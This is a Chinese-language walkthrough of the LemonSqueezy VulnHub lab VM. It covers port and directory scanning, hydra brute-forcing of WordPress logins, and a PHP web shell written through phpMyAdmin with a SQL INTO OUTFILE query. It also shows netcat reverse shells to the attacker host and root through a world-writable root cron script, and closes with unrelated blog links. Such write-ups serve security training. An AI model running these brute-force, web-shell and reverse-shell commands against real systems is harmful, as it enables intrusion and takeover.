vulnhub(15):lemonsqueezy(hydra爆破、计划任务提权)

端口

复制代码
nmap -Pn -p- 192.168.72.173
​
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:B8:2D:FC (VMware)

打点

80端口

主页面是apache2的默认页面,没有robots.txt,我们直接扫描目录

复制代码
gobuster dir -u http://192.168.72.173/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
​
/manual/              (Status: 200) [Size: 626]
/wordpress/           (Status: 200) [Size: 52276]
/javascript/          (Status: 403) [Size: 279]
/phpmyadmin/          (Status: 200) [Size: 10531]

发现wordpress之后,查看wordpress主页

主页翻了翻,没有什么敏感信息,尝试hydra爆破

hydra爆破

burp抓包保存请求头到raj文件中,raj文件如下

复制代码
Host: lemonsqueezy
User-Agent: Mozilla/5.0 (Hydra Proxy)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lemonsqueezy/wordpress/wp-login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://lemonsqueezy
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

写python脚本,将数据包中的信息转成hydra命令

python 复制代码
file_array = []
​
file = input(str())
​
with open(file,"r") as f:
    for line in f:
        file_array.append(":H=" + line.strip().replace(":","\\:"))
​
header=""
​
for line in file_array:
    header += line
    print(line)
print(header)

结果

复制代码
:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1

hydra爆破用户名

复制代码
hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -p 123 lemonsqueezy http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Flemonsqueezy%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate
:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109
:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1:Invalid"
​
结果爆破出两个用户,保存到usernames.txt文件:
lemon
orange

hydra爆破密码

复制代码
hydra -L usernames.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt lemonsqueezy http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Flemonsqueezy%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate
:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109
:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1:incorrect"
​
爆破出密码:
[80][http-post-form] host: lemonsqueezy   login: orange   password: ginger
登陆后台

看到一个敏感信息,在以Keep this safe!为标题的post下的内容如下

复制代码
n0t1n@w0rdl1st!
登录phpmyadmin
复制代码
orange
n0t1n@w0rdl1st!
sql语句上传木马
复制代码
select "<?php system($_GET['a'])?>" into outfile "/var/www/html/wordpress/1.php"
反弹shell
复制代码
http://lemonsqueezy/wordpress/1.php?a=nc 192.168.72.162 1234 -e /bin/bash

提权

crontab
复制代码
运行了如下脚本
*/2 *   * * *   root    /etc/logrotate.d/logrotate
​
此外这个脚本是777权限
反弹shell覆盖此文件
复制代码
echo "mkfifo /tmp/f; nc 192.168.72.162 223 </tmp/f | bash > /tmp/f 2>&1;rm -rf /tmp/f" > /etc/logrotate.d/logrotate
​
攻击主机监听:
nc -nvlp 223
root
复制代码
[listening on [any] 223 ...
connect to [192.168.72.162] from (UNKNOWN) [192.168.72.173] 59534
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cd /root
ls
root.txt
cat root.txt
NvbWV0aW1lcyBhZ2FpbnN0IHlvdXIgd2lsbC4=]()
相关推荐
寻星探路5 小时前
【深度长文】万字攻克网络原理:从 HTTP 报文解构到 HTTPS 终极加密逻辑
java·开发语言·网络·python·http·ai·https
Hello.Reader7 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
ValhallaCoder7 小时前
hot100-二叉树I
数据结构·python·算法·二叉树
wdfk_prog7 小时前
[Linux]学习笔记系列 -- [drivers][input]input
linux·笔记·学习
智驱力人工智能8 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
盟接之桥8 小时前
盟接之桥说制造:引流品 × 利润品,全球电商平台高效产品组合策略(供讨论)
大数据·linux·服务器·网络·人工智能·制造
猫头虎8 小时前
如何排查并解决项目启动时报错Error encountered while processing: java.io.IOException: closed 的问题
java·开发语言·jvm·spring boot·python·开源·maven
数据与后端架构提升之路8 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
忆~遂愿8 小时前
ops-cv 算子库深度解析:面向视觉任务的硬件优化与数据布局(NCHW/NHWC)策略
java·大数据·linux·人工智能
湘-枫叶情缘8 小时前
1990:种下那棵不落叶的树-第6集 圆明园的对话
linux·系统架构